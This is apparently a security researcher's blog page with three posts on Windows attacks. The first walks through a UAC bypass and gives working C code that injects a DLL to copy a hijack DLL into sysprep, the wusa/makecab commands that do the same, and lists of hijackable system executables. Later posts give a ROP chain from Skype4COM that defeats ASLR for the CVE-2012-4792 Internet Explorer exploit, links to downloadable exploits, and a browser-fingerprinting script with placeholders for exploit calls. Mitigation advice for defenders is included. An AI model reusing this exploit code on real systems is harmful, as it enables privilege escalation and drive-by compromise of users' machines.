Exploits

Securing machines from abuse and compromise in a corporate environment has always been an ongoing process. Providing admin rights to users has always been abused as users have ended up installing unapproved software, change configurations, etc. Not giving local admin rights and they claim they can’t do their work. If malware happens to compromise the machine with full admin rights then you are most likely looking at reimaging the machine.

User Account Control (UAC) gives us the ability to run in standard user rights instead of full administrator rights. So even if your standard user account is in the local admin group damage is limited, i.e. installing services, drivers, writing to secure locations, etc. are denied. To carry out these actions users would need to interact with the desktop such us right click and run as administrator or accept the UAC elevation prompt. UAC was introduced from Windows Vista onwards and contains a number of technologies that include file system and registry virtualization, the Protected Administrator (PA) account, UAC elevation prompts and Windows Integrity levels.

UAC works by adjusting the permission level of our user account, so programs actions are carried out as a standard user even if we have local admin rights on the computer. When changes are going to be made that require administrator-level permission UAC notifies us. If we have local admin rights then we can click yes to continue otherwise we would be prompted to enter an administrator password. These would however depend on what policies have been defined in your environment.

This blog post shows how easily UAC elevation prompts could be bypassed and what actions could be taken to mitigate this threat.

Bypassing UAC
Exploiting UAC is a trivial process. There are two stages needed to be taken to achieve bypass to elevate from standard user rights to administrator user rights. These steps have widely been published so it’s nothing new though stage 2 documents some more DLL hijacking vulnerabilities.

  • Writing to a secure location
  • Exploiting DLL hijacking vulnerability

In order for our bypass to be successful to start off with we need

  1. A medium integrity process
  2. A standard user in an administrators group
  3. Windows executable must be signed by Microsoft code signing certificate
  4. Windows executable must be located in a secure directory
  5. Windows executable also must specify the auto Elevate property in their manifest

Writing to a secure location
There are a couple of ways we can write to a secure location.

  • Using the IFileOperation COM Object
  • Using Windows Update Standalone Installer (wusa.exe)

IFileOperation COM Object
The IFileOperation COM object has a method that we can use to copy files to our secure location as the operation will auto-elevate and able to do a privilege copy. To exploit we can in inject our malicious DLL in a medium integrity process to carry out the operation. Since the COM object is set to auto-elevate the injected process does not need to be marked for auto-elevation in its manifest.

On windows 7 injected processes that have copied successfully are

C:\Windows\explorer.exe
C:\Windows\System32\wuauclt.exe
C:\Windows\System32\taskhost.exe

During tests taskhost.exe only happens to work once after boot and wuauclt.exe doesn’t always work which leaves explorer.exe is only the reliable process to use.

On Windows 8 injected processes that have copied successfully are

C:\Windows\explorer.exe
C:\Windows\System32\wuauclt.exe
C:\Windows\System32\RuntimeBroker.exe

Again explorer.exe is only the reliable process to use I found during my tests and the only one that worked on Windows 8.1

The main part of the code below has been taken from MSDN with just the some minor changes. The SetOperationFlags values used was taken from the UAC bypass code published here.

#include <stdio.h>
#include <Shobjidl.h>
#include <Windows.h>

#pragma comment(lib, "Ole32.lib")
#pragma comment(lib, "shell32.lib")

int WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
FileOperation  *pfo;
IShellItem      *psiFrom = NULL;
IShellItem      *psiTo = NULL;
LPCWSTR pszSrcItem = L"calc.dll";
LPCWSTR pszNewName = L"cryptbase.dll";
LPCWSTR pszDest    = L"C:\\windows\\System32\\sysprep";

HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
if (SUCCEEDED(hr))
{
 hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pfo));
 if (SUCCEEDED(hr))
 {
 hr = pfo->SetOperationFlags( FOF_NOCONFIRMATION |
 FOF_SILENT |
 FOFX_SHOWELEVATIONPROMPT |
 FOFX_NOCOPYHOOKS |
 FOFX_REQUIREELEVATION |
 FOF_NOERRORUI );
 if (SUCCEEDED(hr))
 {
 hr = SHCreateItemFromParsingName(pszSrcItem, NULL, IID_PPV_ARGS(&psiFrom));
 if (SUCCEEDED(hr))
 {
 if (NULL != pszDest)
 {
 hr = SHCreateItemFromParsingName(pszDest, NULL, IID_PPV_ARGS(&psiTo));
 }
 if (SUCCEEDED(hr))
 {
 hr = pfo->CopyItem(psiFrom, psiTo, pszNewName, NULL);
 if (NULL != psiTo)
 {
 psiTo->Release();
 }
 }
 psiFrom->Release();
 }
 if (SUCCEEDED(hr))
 {
 hr = pfo->PerformOperations();
 }
 }
 pfo->Release();
 }
 CoUninitialize();
 }
 return 0;
}

Windows Update Standalone Installer
Another method to use to copy to our secure location is using Windows Update Standalone Installer (wusa.exe). Wusa.exe when executed runs as a high integrity process as its set to auto-elevate in its manifest. For auto-elevation the Windows executable must be signed, located in a secure directory such as C:\Windows\System32 and must specify the autoElevate property in their manifest.

We use wusa.exe to extract a CAB file (cabinet archive file) to our secure location

wusa c:\users\user1\desktop\poc.tmp /extract:c:\windows\system32\sysprep

Here in the example our cab file is called poc.tmp but we can call it whatever we like. Windows comes with the makecab.exe tool so we can even create our cab file

makecab c:\users\user1\desktop\CRYPTBASE.dll c:\users\user1\desktop\poc.tmp

Exploiting DLL hijacking vulnerability
When exploiting a DLL hijacking vulnerability the executable we are going to run again has to be signed; located in a secure directory and must specify the autoElevate property in its manifest in order load as a high integrity process.

On Windows 7 there are three executables that could be exploited and associated DLLs listed below

C:\windows\ehome\Mcx2Prov.exe
C:\Windows\ehome\CRYPTBASE.dll

C:\windows\System32\sysprep\sysprep.exe
C:\Windows\System32\sysprep\CRYPTSP.dll
C:\windows\System32\sysprep\CRYPTBASE.dll
C:\Windows\System32\sysprep\RpcRtRemote.dll
C:\Windows\System32\sysprep\UxTheme.dll

C:\windows\System32\cliconfg.exe
C:\Windows\System32\NTWDBLIB.DLL

On malwr.com a malware submitted on 25th June last year had already been using Mcx2Prov.exe to bypass UAC and day later an exploit had also been published.

The same hash had also been flagged on VirusTotal (38/54) submitted over four months ago.

On Windows 8 there are also three executables that could be exploited and associated DLLs listed below

C:\windows\System32\sysprep\sysprep.exe
C:\windows\System32\sysprep\CRYPTBASE.dll
C:\Windows\System32\Sysprep\dwmapi.dll
C:\Windows\System32\Sysprep\SHCORE.dll

C:\windows\System32\cliconfg.exe
C:\Windows\System32\NTWDBLIB.DLL

C:\windows\System32\pwcreator.exe
C:\Windows\System32\vds.exe
C:\Windows\System32\UReFS.DLL

Finally on Windows 8.1 there are also three executables that could be exploited and associated DLLs listed below

C:\windows\System32\sysprep\sysprep.exe
C:\Windows\System32\Sysprep\SHCORE.dll
C:\Windows\System32\Sysprep\OLEACC.DLL

C:\windows\System32\cliconfg.exe
C:\Windows\System32\NTWDBLIB.DLL

C:\windows\System32\pwcreator.exe
C:\Windows\System32\vds.exe
C:\Program Files\Common Files\microsoft shared\ink\CRYPTBASE.dll
C:\Program Files\Common Files\microsoft shared\ink\CRYPTSP.dll
C:\Program Files\Common Files\microsoft shared\ink\dwmapi.dll
C:\Program Files\Common Files\microsoft shared\ink\USERENV.dll
C:\Program Files\Common Files\microsoft shared\ink\OLEACC.dll

Calling pwcreator.exe (Create a Windows To Go workspace) executable calls vds.exe (Virtual Disk Service) which then loads our DLL and gives us System integrity running in SYSTEM account.

Calling these executables sysprep.exe, cliconfg.exe and pwcreater.exe does produce a GUI window but should be able to easily make it run in the background and then terminated after being exploited. This is something I haven’t looked into so I’ll leave upto you.

Mitigation
The best way to mitigate this bypass is just by not giving users local admin rights to their machines. Majority of user accounts in a corporate environment you should be able to do this reducing the attack surface. This however does not apply home users which would have local admin rights by default.

The actual bypass only works when set to the middle two UAC settings which will let it auto-elevate. To see your settings you need to go to Control Panel – User Accounts – Change User Account Control settings.

Notify me only when apps try to make changes to my computer (default)
Notify me only when apps try to make changes to my computer (do not dim desktop settings)

so we could set to Always notify but this would bring it back to like it was on Windows Vista with constant notifications and not really practical and the user would end up setting it to Never notify which is definitely not a good idea.

Microsoft has given us 10 UAC policies to play with so it’s worth spending some time understanding and testing these out before implementing it in your own domain environment. To see what is applied on your local machine type secpol.msc into Start-Run to open the Local Security Policy snap-in and expand the Local Policies-Security Options folder. Run rsop.msc to view group policies applied on machines in a domain environment.

Looking in the registry these are the default values of UAC

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
"ConsentPromptBehaviorAdmin"=dword:00000005
"ConsentPromptBehaviorUser"=dword:00000003
"EnableInstallerDetection"=dword:00000001
"EnableLUA"=dword:00000001
"EnableSecureUIAPaths"=dword:00000001
"EnableUIADesktopToggle"=dword:00000000
"EnableVirtualization"=dword:00000001
"FilterAdministratorToken"=dword:00000000
"PromptOnSecureDesktop"=dword:00000001
"ValidateAdminCodeSignatures"=dword:00000000

When the slider is moved upto “Always notify me” it changes this value

"ConsentPromptBehaviorAdmin"=dword:00000002

When the slider is moved down to “Notify me only when apps try to make changes to my computer (do not dim desktop settings)” it changes this value

"PromptOnSecureDesktop"=dword:00000000

And when the slider is moved to “Never notify” the values changed are

"ConsentPromptBehaviorAdmin"=dword:00000000
"EnableLUA"=dword:00000000
"PromptOnSecureDesktop"=dword:00000000

Take note that EnableLUA has been disabled completely. This is an extremely dangerous value to be in and should never be disabled so its strongly recommend to set this settings to be enabled in group policies so it always gets applied if settings are reset/changed by users or by previously removed malware.

User Account Control: Run all administrators in Admin Approval Mode

Once disabled not only a malicious process could be able to go straight to high integrity without any bypass but also Internet Explorer would run in medium integrity. UAC gives us the Protected Mode (sandbox) in Internet Explorer providing added security. Internet Explorer normally runs in low integrity child process so if compromised by some IE exploit the damage is minimized as in low integrity there are only a handful of locations it can be written to on the system.

These changes mentioned above have been seen on Windows 7. On Windows 8/8.1 EnableLUA does not change to disabled. So when the slider is moved to Never notify the values changed are only

"ConsentPromptBehaviorAdmin"=dword:00000000
"PromptOnSecureDesktop"=dword:00000000

Since value “EnableLUA”=dword:00000001 does not change, UAC is not completely disabled and Internet Explorer would still run in low integrity.

If however a user logged onto a machine using the local admin account (administrator or whatever renamed on your corporate build) UAC settings does not apply as all processes run in high integrity. This applies to Windows 7/8 and 8.1 so always make sure users DO NOT logon using local admin account, if local admin rights are required better add their domain account to the local administrators group.

If for whatever reason logging on using the local admin account is a necessity then best set this UAC policy to enabled.

User Account Control: Admin Approval Mode for the built-in Administrator account
“FilterAdministratorToken”=dword:00000001

Another option would be to look into renaming or deleting the executables Mcx2Prov.exe, sysprep.exe, cliconfg.exe and pwcreator.exe if definitely not required on the system so the second stage to exploit DLL hijacking fails.

Finally if users do require local admin privileges then worth setting their machine UAC policy to Always notify and they live with the constant notifications.

User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode (2-Prompt for consent on the secure desktop)

Conclusion
This bypass only works when all of the requirements are available to abuse. Remove one requirement and the bypass will fail. Office documents are opened in medium integrity so these are ideal targets to abuse the UAC bypass. Since these bypasses are so effortlessly achieved the only real course of action would be to set UAC to “Always notify” or remove local admin rights for the user. In the end using agents like Microsoft EMET or MalwareBytes Anti-Exploit would be the best mitigating action to take from initially being exploited in the first place.

Here are the source and binaries you can test for yourself. I tested it on Windows Enterprise 7/8/8.1 64bit

References
http://technet.microsoft.com/en-us/magazine/2009.07.uac.aspx
http://technet.microsoft.com/en-us/magazine/2007.06.uac.aspx
http://windows.microsoft.com/en-gb/windows/what-is-user-account-control#1TC=windows-7
http://windows.microsoft.com/en-gb/windows/what-are-user-account-control-settings#1TC=windows-7
http://blog.cobaltstrike.com/2014/03/20/user-account-control-what-penetration-testers-should-know

It’s been a while since my last post so I thought I’d post this article on heap spraying using Adobe Flash which I have been working on to get a better understanding of the ActionScript language, hopefully it will benefit some readers to test their security layers in their own environment.

After analysing some actual exploits which were using Flash to spray the heap I decided to use the relevant code and started customising it for my own testing purposes. I was surprised that a handful of Endpoint Protection products I tested on failed to detect any sort of heap spray. Spraying using JavaScript or DEPS does however get detected but I’m not sure how it well it would stand if the code were to be obfuscated. Below is a screenshot of the ActionScript spray so you get the idea.

A good portable tool to decompile flash files which I use is “AS3 Sorcerer”. There are some nice features, definitely worth the purchase.

“ActionScript Extractor” is another good and free portable tool but has a bug as when decompiling certain flash files triggers a crash. I didnt investigate this issue if its exploitable so be careful using this tool. Also you’ll most likely need to make more corrections to the code if wanting to recompile again.

I did a quick test on all the major browsers spraying 100 times with 1mb chunks. In the image below it’s interesting to see its child processes of each of the browsers and different integrity levels. Bypassing browser sandboxes is something I’ll be researching in the future so if I do discover anything interesting I’ll be sure to blog about it.

Finally here is the code and examples you can download from here. Password is “exploit” and MD5 hash is 98afdc19007a65be636cc0a8d9fe8d9d .  It includes the exploit for IE’s CVE-2012-4792 using JavaScript, DEPS and Flash. You can use SWFTools as3compile.exe to compile but I mainly used Adobe’s Flex SDK. Here is the direct link for version 4.6.

References:

http://www.adobe.com/devnet/flex/flex-sdk-download-all.html
https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/
http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/utils/ByteArray.html

While investigating an unrelated issue using SysInternals Autoruns tool I spotted a couple of protocol handlers installed on the system by Skype. Knowing that protocol handlers can be loaded by Internet Explorer without any prompts I decided to check if these libraries have there dynamic base bits set. It turns out that the “skype4com.dll” library has not which means it could be used to bypass Windows ASLR so I got to work writing my rop chain and testing it out.

A quick test to see if it indeed loads up can be done from the code below

<SCRIPT language="JavaScript">  
location.href = 'skype4com:'
</SCRIPT>

Filename - Skype4COM.dll
Path     - C:\Program Files\Common Files\Skype\
MD5 hash - 6e04c50ca4a3fa2cc812cd7ab84eb6d7
Size     - 2,156,192 bytes
Signed   - 03 November 2011 11:46:40
Version  - 1.0.38.0

and here is my rop chain without any nulls.

 0x28025062   # POP EBX # RETN
 0xa13fcde1   # 0xA13FCDE1
 0x28024f71   # POP EAX # RETN
 0x5ec03420   # 0x5EC03420
 0x28027b5c   # ADD EBX,EAX # XOR EAX,EAX # RETN (EBX=0x201, 513 bytes)
 0x28024f71   # POP EAX # RETN
 0xa13fcde1   # 0xA13FCDE1
 0x280b4654   # ADD EAX,5EC0325F # RETN
 0x28099a83   # MOV EDX,EAX # MOV EAX,ESI # POP ESI # RETN (EDX=0x40)
 0x41414141   # Compensate
 0x28017271   # POP ECX # RETN
 0x280de198   # VirtualProtect() pointer [IAT]
 0x28027b5b   # MOV EAX,DWORD PTR DS:[ECX] # RETN
 0x28041824   # XCHG EAX,ESI # ADD EAX,48C48300 # RETN 0x08
 0x2806405a   # POP EBP # RETN
 0x41414141   # Compensate
 0x41414141   # Compensate
 0x280bc55b   # & push esp # ret 
 0x28017271   # POP ECX # RETN
 0x28126717   # &Writable location
 0x28098730   # POP EDI # RETN
 0x28098731   # RETN (ROP NOP)
 0x28024f71   # POP EAX # RETN
 0x90909090   # nop
 0x28043527   # PUSHAD # RETN

I’ve created an exploit using this rop chain on the “CButton Object Use-After-Free vulnerability” (CVE-2012-4792) taken from Metasploit. It has been tested on Windows 7 Enterprise (32bit) in VM with the latest version of Skype installed (6.2.59.106). The exploit can be downloaded from here, the password is “exploit” and the md5 hash of the zip file is 4d5735ff26b769abe1b02f74e2871911

Mitigation? Well I said it before and I’ll say it again . . . “EMET” your machines ASAP :-)

On something off topic, I was looking at the html code posted on Pastebin for the CVE-2012-4792 exploit and liked the way it checked to see if Office 2010 or 2007 was installed. Some blog posts weren’t as clear as to what the Office check routine was actually doing but really it was just determining which hxds.dll version to use for its rop chain for the Office version it detected. (I haven’t got the actual exploit files to confirm though but I’m pretty sure).

For Office 2010 it installs 4 OpenDocuments ActiveX objects

SharePoint.OpenDocuments.4
SharePoint.OpenDocuments.3
SharePoint.OpenDocuments.2
SharePoint.OpenDocuments.1

and Office 2007 only 3

SharePoint.OpenDocuments.3
SharePoint.OpenDocuments.2
SharePoint.OpenDocuments.1

So basically if the JavaScript is able to load “SharePoint.OpenDocuments.4″ then it knows that it’s Office 2010. Since these ActiveX controls can be run without permissions no prompts are given. Below is a simple script that could be used if say in this example checking Windows 7 with IE8 has got installed Office 2007/2010 or Java 6. No Skype ActiveX controls gets installed that can be run without permissions so I couldn’t work out how to check if Skype is installed without triggering prompts in Internet Explorer. If you do know how to check without triggering prompts please do share.

<HTML>
<SCRIPT language="JavaScript"> 
//
//
if (CheckIEOSVersion() == "ie8w7")
{
   if (CheckOfficeVersion() == "Office2010")
   {
//     Exploit call here
   }
   else if (CheckOfficeVersion() == "Office2007")
   {
//     Exploit call here
   }
   else if (JavaVersion() == "Java6")
   {
//     Exploit call here
   }
   else if (SkypeCheck() == "")
   {
//     Exploit call here
   }
}
//
//
function CheckIEOSVersion()
{
   var agent = navigator.userAgent.toUpperCase();
   var os_ie_ver = "";
//
   if ((agent.indexOf('NT 5.1') > -1)&&(agent.indexOf('MSIE 7') > -1)) 
      os_ie_ver = "ie7wxp";  
   if ((agent.indexOf('NT 5.1') > -1)&&(agent.indexOf('MSIE 8') > -1))
      os_ie_ver = "ie8wxp";
   if ((agent.indexOf('NT 6.0') > -1)&&(agent.indexOf('MSIE 7') > -1))
      os_ie_ver = "ie7wv";   
   if ((agent.indexOf('NT 6.0') > -1)&&(agent.indexOf('MSIE 8') > -1)) 
      os_ie_ver = "ie8wv";
   if ((agent.indexOf('NT 6.1') > -1)&&(agent.indexOf('MSIE 8') > -1)) 
      os_ie_ver = "ie8w7";   
   if ((agent.indexOf('NT 6.1') > -1)&&(agent.indexOf('MSIE 9') > -1)) 
      os_ie_ver = "ie9w7";
   if ((agent.indexOf('NT 6.2') > -1)&&(agent.indexOf('MSIE 10') > -1)) 
      os_ie_ver = "ie10w8"; 
   return os_ie_ver;
}
//
//
function CheckOfficeVersion()
{
   var offver = "";
   var checka = 0;
   var checkb = 0;
//
   try {
         checka = new ActiveXObject("SharePoint.OpenDocuments.4");  
   } catch (e) {}
   try {
         checkb = new ActiveXObject("SharePoint.OpenDocuments.3");  
   } catch (e) {}
//
   if ((typeof checka) == "object" && (typeof checkb) == "object")
     offver = "Office2010";
   else if ((typeof checka) == "number" && (typeof checkb) == "object") 
     offver = "Office2007";
//
   return offver;
}
//
//
function JavaVersion() 
{
   var javver = "";
   var javaa = 0;
//
   try {
         javaa = new ActiveXObject("JavaWebStart.isInstalled.1.6.0.0");  
   } catch (e) {}
//
   if ((typeof javaa) == "object")
       javver = "Java6";
//
   return javver;
}
//
//
function SkypeCheck()
{
   var skypever = "";
   return skypever;
}
//
//
</SCRIPT>
</HTML>